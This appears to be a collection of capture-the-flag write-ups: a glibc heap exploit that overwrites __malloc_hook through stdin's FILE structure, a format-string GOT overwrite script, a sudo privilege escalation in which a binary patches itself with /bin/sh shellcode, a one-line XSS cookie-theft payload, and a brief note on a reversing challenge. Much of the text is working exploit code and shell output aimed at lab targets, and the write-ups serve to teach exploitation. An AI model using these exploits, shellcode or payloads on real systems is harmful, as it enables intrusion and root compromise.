There are a lot of ways to achieve code execution according to what I red in other write-ups, I choose to attack `_IO_stdin` by running an unsorted bin attack on its `_IO_buf_end` field which holds the end of the internal buffer of `stdin` from `_IO_buf_base`, according to the [glibc source code](https://elixir.bootlin.com/glibc/glibc-2.27/source/libio/fileops.c#L469):```cint_IO_new_file_underflow (_IO_FILE *fp){ _IO_ssize_t count;#if 0 /* SysV does not make this test; take it out for compatibility */ if (fp->_flags & _IO_EOF_SEEN) return (EOF);#endif
if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); }
/* Flush all line buffered files before reading. */ /* FIXME This can/should be moved to genops ?? */ if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) {#if 0 _IO_flush_all_linebuffered ();#else /* We used to flush all line-buffered stream. This really isn't required by any standard. My recollection is that traditional Unix systems did this for stdout. stderr better not be line buffered. So we do just that here explicitly. --drepper */ _IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);#endif }
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those pointers before we call _IO_SYSREAD () since we may longjump () out while waiting for input. Those pointers may be screwed up. H.J. */ fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { /* If a stream is read to EOF, the calling application may switch active handles. As a result, our offset cache would no longer be valid, so unset it. */ fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr;}```
The interesting part is the `count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);` which reads `fp->_IO_buf_end - fp->_IO_buf_base` bytes in `fp->_IO_buf_base`. Which means if `fp->_IO_buf_end` is replaced with the help of an unsorted bin attack by the address of the unsorted bin and that `&unsorted bin > fp->_IO_buf_base`, we can trigger an out of bound write from a certain address up to the address of the unsorted bin. We can inspect the layout in gdb to see what's actually going on:```pwndbg> x/100gx stdin0x7ffff7dcfa00 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dcfa830x7ffff7dcfa10 <_IO_2_1_stdin_+16>: 0x00007ffff7dcfa83 0x00007ffff7dcfa830x7ffff7dcfa20 <_IO_2_1_stdin_+32>: 0x00007ffff7dcfa83 0x00007ffff7dcfa830x7ffff7dcfa30 <_IO_2_1_stdin_+48>: 0x00007ffff7dcfa83 0x00007ffff7dcfa830x7ffff7dcfa40 <_IO_2_1_stdin_+64>: 0x00007ffff7dcfa84 0x00000000000000000x7ffff7dcfa50 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x00000000000000000x7ffff7dcfa60 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x00000000000000000x7ffff7dcfa70 <_IO_2_1_stdin_+112>: 0x0000001000000000 0xffffffffffffffff0x7ffff7dcfa80 <_IO_2_1_stdin_+128>: 0x000000000a000000 0x00007ffff7dd18d00x7ffff7dcfa90 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x00000000000000000x7ffff7dcfaa0 <_IO_2_1_stdin_+160>: 0x00007ffff7dcfae0 0x00000000000000000x7ffff7dcfab0 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x00000000000000000x7ffff7dcfac0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x00000000000000000x7ffff7dcfad0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dcc2a00x7ffff7dcfae0 <_IO_wide_data_0>: 0x0000000000000000 0x00000000000000000x7ffff7dcfaf0 <_IO_wide_data_0+16>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb00 <_IO_wide_data_0+32>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb10 <_IO_wide_data_0+48>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb20 <_IO_wide_data_0+64>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb30 <_IO_wide_data_0+80>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb40 <_IO_wide_data_0+96>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb50 <_IO_wide_data_0+112>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb60 <_IO_wide_data_0+128>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb70 <_IO_wide_data_0+144>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb80 <_IO_wide_data_0+160>: 0x0000000000000000 0x00000000000000000x7ffff7dcfb90 <_IO_wide_data_0+176>: 0x0000000000000000 0x00000000000000000x7ffff7dcfba0 <_IO_wide_data_0+192>: 0x0000000000000000 0x00000000000000000x7ffff7dcfbb0 <_IO_wide_data_0+208>: 0x0000000000000000 0x00000000000000000x7ffff7dcfbc0 <_IO_wide_data_0+224>: 0x0000000000000000 0x00000000000000000x7ffff7dcfbd0 <_IO_wide_data_0+240>: 0x0000000000000000 0x00000000000000000x7ffff7dcfbe0 <_IO_wide_data_0+256>: 0x0000000000000000 0x00000000000000000x7ffff7dcfbf0 <_IO_wide_data_0+272>: 0x0000000000000000 0x00000000000000000x7ffff7dcfc00 <_IO_wide_data_0+288>: 0x0000000000000000 0x00000000000000000x7ffff7dcfc10 <_IO_wide_data_0+304>: 0x00007ffff7dcbd60 0x00000000000000000x7ffff7dcfc20 <__memalign_hook>: 0x00007ffff7a7b410 0x00007ffff7a7c7900x7ffff7dcfc30 <__malloc_hook>: 0x0000000000000000 0x00000000000000000x7ffff7dcfc40 <main_arena>: 0x0000000000000000 0x00000000000000010x7ffff7dcfc50 <main_arena+16>: 0x0000000000000000 0x00005555556085e00x7ffff7dcfc60 <main_arena+32>: 0x0000555555608560 0x00000000000000000x7ffff7dcfc70 <main_arena+48>: 0x0000000000000000 0x00000000000000000x7ffff7dcfc80 <main_arena+64>: 0x0000000000000000 0x00000000000000000x7ffff7dcfc90 <main_arena+80>: 0x0000000000000000 0x00000000000000000x7ffff7dcfca0 <main_arena+96>: 0x00005555556086b0 <- &unsortedbin = 0x7ffff7dcfca0pwndbg> p *stdin$1 = { _flags = -72540021, _IO_read_ptr = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n", _IO_read_end = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n", _IO_read_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n", _IO_write_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n", _IO_write_ptr = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n", _IO_write_end = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n", _IO_buf_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n", _IO_buf_end = 0x7ffff7dcfa84 <_IO_2_1_stdin_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 16, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7ffff7dd18d0 <_IO_stdfile_0_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7dcfae0 <_IO_wide_data_0>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times>}```
As you can see right above and according to the source code showed previously, `_IO_stdin->_IO_buf_base` points toward `_IO_stdin->_shortbuf`, an internal buffer directly in `stdin`. And `&unsortedbin > _IO_buf_base > stdin`. If you do not understand fully my explanations, I advise you to take a look at [this great article](https://nightrainy.github.io/2019/08/07/play-withe-file-structure-%E6%90%AC%E8%BF%90/).
Then we should be able to control every bytes between `&stdin->_shortbuf` and `&unsortedbin`. And the incredible thing to note is that in this small range, there is what every heap pwner is always looking for: `__malloc_hook` !!
Then we just have to overwrite the pointers inside `stdin`, `_IO_wide_data_0` and `__memalign_hook` to finally reach `__malloc_hook` and write the address of a one-gadget !
## Unsorted bin attack on stdin->_IO_buf_end
Here was theory, let's see how we can do that. To understand unsorted bin attack [here](https://squarepants0.github.io/2020/10/20/unsorted-bin-attack/) is a good article about unsorted bin attack. The unsorted bin attack using partial unlink is basically:- overwrite the backward pointer of the last chunk in the unsorted bin by `&target - 0x10`- request the **exact** size of the last chunk in the unsorted bin- It should write at `&target` the address of the unsorted bin
An essential thing to note is that if there is no chunks in your fastbin / smallbin and that you're requesting a fastbin/smallbin-sized chunk, the unsorted bin will be inspected and if the last chunk doesn't fit the request, the program will most of the time issues a `malloc(): memory corruption`. Anyway the best thing to do is to take a look at the [code](https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3519):```cstatic void *_int_malloc (mstate av, size_t bytes){
// It checks first fastbin then smallbin then unsorted bin
for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0)) malloc_printerr ("malloc(): memory corruption"); size = chunksize (victim);
/* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */
if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; }
set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim);#if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else {#endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p;#if USE_TCACHE }#endif }
[...]}```
According to what I said earlier, the goal is to replace `stdin->_IO_buf_end` with `&unsortedbin` which means we have to write to the backward pointer of the last chunk in the unsorted bin (chunk_2) `&stdin->_IO_buf_end - 0x10`. To do so we can trigger a write after free primitive by taking back `chunk_2` from the unsorted bin to the fastbin:```py"""Before:0x30: 0x5555556085e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555556085e00x40: 0x555555608560 —▸ 0x5555556085a0 ◂— 0x0unsortedbinall: 0x5555556085e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555556085e0"""
add(7, 56, b"A"*55) # pop it to access to chunk_1
add(8, 56, b"A"*56 + b"\x31") # restore valid fastbin chunk part of the 0x30 freelist# put it back to the fastbin
add(9, 40, pwn.p64(libc + 0x3ebca0) + pwn.p64(stdin + 0x40 - 0x10))# Write after free, &stdin->_IO_buf_end = stdin + 0x40, minus 0x10 point to the fake header
"""After:0x30: 0x7ffff7dcfca0 (main_arena+96) —▸ 0x5555556085e0 ◂— 0x7ffff7dcfca0unsortedbinall [corrupted]FD: 0x5555556085e0 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x5555556085e0BK: 0x5555556085e0 —▸ 0x7ffff7dcfa30 (_IO_2_1_stdin_+48) ◂— 0x0"""```As you can read right above, the `chunk_2` has its backward pointer set to `&stdin->_IO_buf_end - 0x10`. To achieve the partial unlink we just have to request a `0x30` sized chunk with nothing in the fastbin freelists. That's the last step of the unsortedbin attack, clean out the fastbin:```py"""Before: same as above"""
# == clean fastbin
freexalloc(5, 560, b"", doubleFree=True)
freexalloc(4, 560, b"", doubleFree=True)add(11, 56, b"1"*56 + b"\x40")
freexalloc(5, 560, b"", doubleFree=True)add(12, 56, pwn.p64(0))
freexalloc(4, 560, b"", doubleFree=True)add(13, 56, b"1"*56 + b"\x30")
add(14, 40, b"1"*10)
# == clean fastbin
"""fastbins0x30: 0x00x40: 0x0"""```
Now we just have to ask for a `0x30` sized chunk:```pyadd(3, 40, b"1337", hang=True)pwn.log.info(f"unsortedbin attack done on: {hex(stdin + 0x40 - 0x10)}")pwn.log.info(f"Enjoy your shell!")
"""After:0x7ffff7dcfa40 <_IO_2_1_stdin_+64>: 0x00007ffff7dcfca0 <- stdin->_IO_buf_end0x7ffff7dcfca0 <main_arena+96>: 0x00005555556086b0 <- unsortedbin"""```
## FSOP + PROFIT
The last part is very easy, we just have to overflow up to `&__malloc_hook` to write the one-gadget:```pyio.sendline(b"") io.recvuntil(b">> ") io.send( b"4\n\x00\x00\x00" + pwn.p64(libc + 0x3ed8d0) + pwn.p64(0xffffffffffffffff) + pwn.p64(0) + pwn.p64(libc + 0x3ebae0) + pwn.p64(0) * 3 + pwn.p64(0x00000000ffffffff) + pwn.p64(0) * 2 + pwn.p64(libc + 0x3e82a0) + pwn.p8(0) * 0x150 + # !!!!! pwn.p64(libc + 0x10a38c) # <- one-gadget #pwn.p64(libc + 0x4f322) # pwn.p64(0x1337) )"""0x10a38c execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL"""```
The `4\n\x00\x00\x00` corresponds to the option that asks for the huge chunk (we cannot allocate standards chunks anymore) which will trigger `__malloc_hook` :).
Which gives:```root@3b9bf5405b71:/mnt# python3 exploit.py REMOTE HOST=167.172.56.180 PORT=30332[*] '/mnt/once_and_for_all' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/mnt/out'[+] Opening connection to 167.172.56.180 on port 30332: Done[*] Switching to interactive mode
How much space do you need for this massive weapon: Adding to your inventory..$ iduid=100(ctf) gid=101(ctf)$ lsflag.txtglibconce_and_for_all$ cat flag.txtHTB{m4y_th3_f0rc3_b3_w1th_B0Nn13!}```
Find the tasks and the final exploit [here](https://github.com/ret2school/ctf/blob/master/2022/apocalypse/onceAndmore/) and [here](https://github.com/ret2school/ctf/blob/master/2022/apocalypse/onceAndmore/exploit.py). |
# Oil Spill
## Challenge
Darn, these oil spills are going crazy nowadays. It looks like there's a little bit more than oil coming out of this program though...
Connect ```nc oil.sdc.tf 1337```
[binary](https://github.com/tj-oconnor/ctf-writeups/blob/main/sdctf/oilspill/OilSpill)
By green beans
## Solution
The binary leaks the address of the ```puts``` and ```printf``` functions that will allow us to calculate the libc base.
```004006e2 printf(format: "%p, %p, %p, %p\n", puts, printf, &var_148, temp)
```
The binary also suffers from a format specifier vulnerability.
```00400724 fgets(buf: &var_148, n: 0x12c, fp: stdin)00400738 printf(format: &var_148)```
Since the binary does not have ```RELRO``` enabled, we can overwrite the GOT entries
```└─# pwn checksec ./OilSpill [*] '/root/workspace/ctfs/sdctf/oilspill/OilSpill' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)````
We will essentially turn puts('Interesting Proposition') into system('/bin/sh\0') by ovewriting the .got entry for ```puts``` and the .data entry for ```x```
```0040073d 488d3d3c052000 lea rdi, [rel x] {"Interesting Proposition"}00400744 e837feffff call puts...
00600c80 x:00600c80 49 6e 74 65 72 65 73 74 69 6e 67 20 50 72 6f 70 Interesting Prop00600c90 6f 73 69 74 69 6f 6e 00 osition.
````
Our final solution follows:
```pythonfrom pwn import *
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary,checksec=False)r = ROP(e)
if args.REMOTE: libc = ELF('libc6_2.27-3ubuntu1.5_amd64.so',checksec=False)else: libc = ELF('libc6_2.33-6_amd64.so',checksec=False)
gs = '''continue'''
def start(): if args.GDB: return gdb.debug(e.path, gdbscript=gs) elif args.REMOTE: return remote('oil.sdc.tf',1337) else: return process(e.path)
p = start()
def leak_libc(): leaks=p.recvline().split(b',') puts_addr = int(leaks[0],16) printf_addr = int(leaks[1],16) log.info("Puts Leak: %s" %hex(puts_addr)) log.info("Printf Leak: %s" %hex(printf_addr)) return puts_addr, printf_addr
def calc_base(puts_addr,printf_addr): base_leak_1 = puts_addr - libc.sym['puts'] base_leak_2 = printf_addr - libc.sym['printf'] log.info("Base Leak Off Puts: %s" %hex(base_leak_1)) log.info("Base Leak Off Printf: %s" %hex(base_leak_2)) libc.address=base_leak_1
def got_write_sys(): payload_writes = { e.got['puts']: libc.sym['system'], 0x600c80: b'/bin/sh\0' }
payload = fmtstr_payload(8,payload_writes,write_size='short') p.sendline(payload) p.recvline() p.interactive()
puts_addr, printf_addr = leak_libc()calc_base(puts_addr,printf_addr)got_write_sys()``` |
I participated in the NahamCon CTF 2022 under the TU Delft CTF Team and worked on the Bank Comes Back (scripting, medium) challenge. I ended up solving the challenge in an unintentional way, after incorrectly assuming that the intentional method would not work.
The challenge description is as follows:
> My company use a custom finance program, but they sure are banking on the fact that is will be used properly...> > Escalate your privileges and retrieve the flag out of root's home directory.
We're given an SSH host to connect to as `user`. Presumably we need to escalate to `root` in order to read `/root/flag.txt`.
SSHing into the host we can run `sudo -l` to figure out what binaries we can run:
```consoleuser@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ sudo -lMatching Defaults entries for user on bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2: (root) NOPASSWD: /opt/banking/bank```
The `/opt/banking/bank` binary matches what we've seen from the challenge description, so lets download it through `sftp` and open it up in IDA.
While IDA is analyzing, lets run the binary (through `sudo` of course) and play around to see what it can do:
The binary allows us to create customers, clerks and managers and to perform various actions through these accounts. Running `ls` after closing the binary shows that it also created some files in the current working directory, owned by root(!):
```consoleuser@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ ls -ltotal 8-rw-r--r-- 1 root root 0 Apr 30 21:34 clerk.dat-rw-r--r-- 1 root root 128 Apr 30 21:34 customer.dat-rw-r--r-- 1 root root 0 Apr 30 21:34 manager.dat-rw-r--r-- 1 root root 87 Apr 30 21:34 recordInfo.txt```
If we go through all options given to us by the program, we discover we have the following functionality to work with:
- **Customer creation**: Create a new customer with a chosen name, address, telephone number and PIN. Randomly assign a card ID. Append the resulting customer to `customer.dat`.- **Customer login**: After logging in using a valid customer card ID + PIN pair, we can: - **Withdraw**: Decreases balance by a certain amount. Cannot go negative. Updates record in-place. - **Print account information**: Prints out the current information on-file for the customer. - **Change PIN**: Update the PIN for the customer. Updates record in-place. - **View activities record**: Print all lines in `recordInfo.txt` that start with the customer card ID.- **Clerk creation**: Create a new clerk with a given username and password. Append the clerk to `clerk.dat`.- **Clerk login**: After logging in using a valid username + password pair, we can: - **Add new account for an existing customer**: Clone an existing customer identified by a telephone number, with a new random card ID and PIN. Append the record to `customer.dat`. - **Delete account for an existing customer**: Delete the customer with a given card ID. Move all customer records located after the customer in `customer.dat` forward by 0x80 bytes (the size of the customer structure). The file size is not changed, so this deletion actually duplicates the last customer in the file. - **Update customer information**: Update the name or address for an existing customer as identified by card ID. Data is updated in-place. - **Make deposits into an account**: Increment the balance of an account as identified by card ID. Data is updated in-place.- **Manager creation**: Create a new manager with a given username and password. Append the manager to `manager.dat`.- **Manager login**: After logging in using a valid username + password pair, we can: - **View information for a given customer**: Show all data on file for a customer identified by a card ID. - **(Un)block customer**: Update a customer's `state` for a customer identified by a card ID. Data is updated in-place. - **Show statistics**: Shows various statistics on the customers, such as the number of customers, total wealth, average wealth, etc.
Most of these operations also write a line to the `recordInfo.txt` log file, where operations done on a specific customer are prefixed with the card ID of that customer:
```consoleuser@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ cat recordInfo.txtCustomer activity recordings!!!72850125: Account is biuld in Sat Apr 30 21:34:41 2022```
After spending some time reversing the binary in IDA, we learn the following:
- the `clerk.dat` file contains a list of structures representing clerk users- the `customer.dat` file contains a list of customer structures- the `manager.dat` file contains a list of manager structures- the `recordInfo.txt` file is a textual log of actions taken
The customer structure is the most interesting. Each customer has a card ID, account name, pin, telephone number, address and balance associated with them. They're stored in the following format:
```cstruct customer_entry{ char card_id[12]; uint32_t state; char account_name[21]; char pin[11]; uint64_t balance; char telephone_no[16]; char address[48]; customer_entry *next_ptr;};```
`state` represents whether the account is locked, and `next_ptr` is zero when the structure is serialized (it is used to build a linked-list when operations are performed on the file).
Each operation on any of the data structures (whether it concerns the customers, managers, etc) will only open the file, seek/update data, then write changes when the action is performed (i.e. there's no long term in-memory storage of the data), as can for example be seen in the implementation of the withdrawal functionality:
Lets take a look at how we can abuse the operations given to us. Since the program runs as root and reads/writes files in the current working directory, we can set up the `*.dat`/`*.txt` files as symlinks to any arbitrary file on the system. This allows us to perform (extremely limited/conditional) reads/writes to arbitrary files on the system. The program also accepts an alternative path to `customer.dat` as third argument, so we don't even need to symlink the `customer.dat` file.
Two main ideas come to mind when we look at the operations we can perform:
- Somehow overwrite/edit `/etc/sudoers`, `/etc/passwd`, `/etc/shadow` or other "important" files in a way that allows us to elevate privileges.- Somehow treat `/root/flag.txt` as an input file and get the program to reveal its contents to us.
The second approach is actually the **intended solution**. We can symlink `recordInfo.txt` to `/root/flag.txt`. Through the customer login -> show action log feature, we can then print all lines in the `flag.txt` (now doubling as "banking logging file") that start with the card ID of the customer. We can generate customers `flag{000` through `flag{fff` (a card ID is 8 characters long), then print out the log for each of them and extract the flag this way. Unfortunately, I **incorrectly concluded that this approach was not viable during the CTF and instead went with a different route**!
Instead, I focused on the first approach: somehow use the privileged bank process to modify a file in a way that would allow us to escalate privileges. Lets assume we have some target file `x` (such as `/etc/sudoers`). We have two choices:
- Treat `x` as an existing customers database and **add a new customer** (appending data to `x`).- Treat `x` as an existing customers database and **update a customer** (modifying data in `x`).
Both approaches have constraints. When adding a new customer, we cannot fully control the contents of the struct that ends up appended to `x`. In fact, the data that gets appended looks like this (where `??` represents uninitialized data):
```[8 random digits] 00 ?? ?? ??00 00 00 00[account name (0-20 chars)] 00[pin (6 chars)] 00 ?? ?? ?? ??00 00 00 00 00 00 00 00[telephone no (0-15 chars)] 00[address (0-40 chars)] 00 ?? ?? ?? ?? ?? ?? ??00 00 00 00 00 00 00 00```
This almost completely rules out using the append trick to modify _text_ files, since we're guaranteed to append null bytes which generally cause things to fail to parse. We also can't include newlines in the parts we _do_ control, since the process reads data through `fgets`, which stops after a newline.
Lets look at **updating** customers instead. Logging in as a clerk allows us to update the name and address of a customer, as long as we know their card ID. Let's take a look at how it finds the customer inside `customer.dat`:
As seen in line 361, the binary uses `strcmp` to compare the card ID. It also forces us to input _exactly_ 8 characters. Given these constraints, data inside `x` can only be treated as a "customer" and updated if the following constraints hold:
- The data is located at an offset that is a multiple of `0x80` (since each customer entry is `0x80` bytes long).- The first 8 bytes of the data must not be `00` or `0A` (newline).- The 9th byte must be a null byte (since `strcmp` checks whether the string lengths are equal).
If all these hold, we can use the bank binary to update the `name` and `address` fields, which together represent 60 bytes of controllable data (out of the `0x80` bytes long chunk that we're treating as a "customer").
This makes it extremely limiting to use this approach to update random files in an attempt to escalate our privileges. After all, we need the file to contain zero bytes. If `x` is a file that contains text (e.g. `/etc/sudoers`), we can rule out that approach entirely. However, if we have some binary blob that we want to update, we might find an offset that satisfies this condition if we're lucky (and the binary file is long enough).
Is there a binary file that we could modify, that would allow us to escalate our privileges, which would _also_ have a decent chance at satisfying the conditions needed to update data? **Yes!** The `bank` binary itself! Our process is running as root, so it has the necessary permissions to write to itself. We're allowed to use `sudo` to call the binary, so if we successfully modify the `bank` binary to contain our own code, we can run anything we want as root!
Are there any locations inside the bank binary that satisfy the conditions we need to update files? Let's check:
```jsconst fs = require("fs");const contents = fs.readFileSync("./bank");
let offset = 0;while (offset < contents.length) { let good = true; let key = Buffer.alloc(8);
for (let i = 0; i < 8; i++) { if (contents[offset + i] === 0x00 || contents[offset + i] === 0x0A) { good = false; break; } key[i] = contents[offset + i]; }
if (contents[offset + 8] !== 0x00) good = false;
if (good) { console.log("Offset 0x" + offset.toString(16) + " is a valid customer blob, with card ID " + key.toString("hex")); }
offset += 0x80;}```
Run this and pray:
```consolethijs@windoze:~$ node scan.jsOffset 0x1480 is a valid customer blob, with card ID f30f1efa803d9d8bOffset 0x3000 is a valid customer blob, with card ID 98c68405f0fbffffOffset 0x3280 is a valid customer blob, with card ID e1ffff488d3d563eOffset 0x3400 is a valid customer blob, with card ID ff4883bd98feffffOffset 0x4600 is a valid customer blob, with card ID ff4883bd98feffffOffset 0x7a80 is a valid customer blob, with card ID 6f6e20696e202573```
Perfect! We have six locations inside the binary where we can update ~60 bytes each. The smallest shellcode for running `/bin/sh` is only 22 bytes long, so lets find a location to patch the binary.
The `0x3280` file offset is promising. If we check the current contents of the "address" of that "customer" (located at `0x3280 + 0x48 = 0x32c8`), we see the following:
Perfect! We're in the prologue of the `logClerk` function, which we can easily trigger by using option 4 in the start menu. We should be golden if we can insert some shellcode for running `/bin/sh` in here. [This](https://systemoverlord.com/2016/04/27/even-shorter-shellcode.html) shellcode is a prime candidate, since it is only 22 bytes and does not contain null bytes or newlines.
Now that we have everything, let's review the steps of our attack:
1. Launch the bank binary using `sudo` and make it use _itself_ as customer database: `sudo /opt/banking/bank a /opt/banking/bank`.2. Create a new clerk.3. Sign in as the newly created clerk.4. Choose the option for amending customer information.5. Use the first 8 bytes of the "customer" at offset `0x3200` of `/opt/banking/bank` as card ID: `\xe1\xff\xff\x48\x8d\x3d\x56\x3e`.6. Choose to update the address of the "customer", using the shellcode as new address. We need to be careful here to not create any invalid instructions, since we start writing inside an instruction. Out of an abundance of caution, let's include some nops too:
```\x30\xFE\xFF\xFF (finish existing instruction)\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 (some nops)\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05 (shellcode)```
7. Cleanly exit out.8. Rerun `sudo /opt/banking/bank`, which should now be modified.9. Choose to sign in as clerk, which should run `logClerk`, executing our shellcode.10. Get a shell as root, `cat /root/flag.txt`, party!
Putting all these together, we get the following input we can provide to the binary:
```3clerkclerk4clerkclerk3���H�=V>20�������������1�VH�/bin//shST_��;??3```
Let's confirm this actually works locally first.
```consolethijs@windoze:~$ cp bank bank_testthijs@windoze:~$ ./bank a bank_test < inputs.bin[...snip...]thijs@windoze:~$ sha256sum bank80766b6b7af57cc620ee4b4e79543248ded98c539298f6515c5d24ff809db085 bankthijs@windoze:~$ sha256sum bank_test90ce76e7a21e8f4128262a94a1aba1ae5627d6b934f94ef8ea0ed6f92bbd9b69 bank_test```
Load `bank_test` into IDA...
Perfect! We tricked the bank binary into modifying itself. Let's execute this on remote:
```user@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ sudo /etc/banking/bank a /etc/banking/bank < inputs[...snip...]user@bank-comes-back-c65ccb4a346d7ac5-6fbddd6bcf-j4hw2:~$ :~$ sudo /opt/banking/bankSeeding the PRNG and getting randomness for digital entropy... Welcome to bank system!!!
Local time is: Sat Apr 30 23:08:28 2022
Choose the mode!**************************************************************************1.Create a customer account!************2.Log in as a customer!********3.Create a clerk account!***************4.Log in as a clerk!***********5.Create a manager account!*************6.Log in as a manager!*********7.Exit!************************************************************************************************************************************
4# whoamiroot# cat /root/flag.txtflag{69927d3df0cc25deed4db905949091fa}#```
Victory! |
The first page you are greeted with is an entry page for leaving feedback for the Kryptos Vault
and a "backend" button that we can't click but poking around it leads us to `/admin` and the following login
Just throwing a simple xss payload at the feedback page works right off the bat!
```html<script>document.write(';)</script>```
This sends us back a webhook request with a cookie. The admin cookie! Setting it as our own we can finally get to the backend and retreive our flag
`Flag: HTB{x55_4nd_id0rs_ar3_fun!!}` |
# Nuts And Bolts
## Solution- This challenge gave me 2 file (1 ELF file written by Rust and source code of chall).- It using AES Encryption in mode ECB (line 15-18) to generate random key with 32 bytes. Then It will reverse an array or XOR with key and enc_output (after encrypted input by AES).- That check (rng.gen<u8>() % 2 == 0) will be decided to reverse an array of AES_Key, AES_enc_flag or XOR with AES_key or AES_enc_flag in 10 times loops.
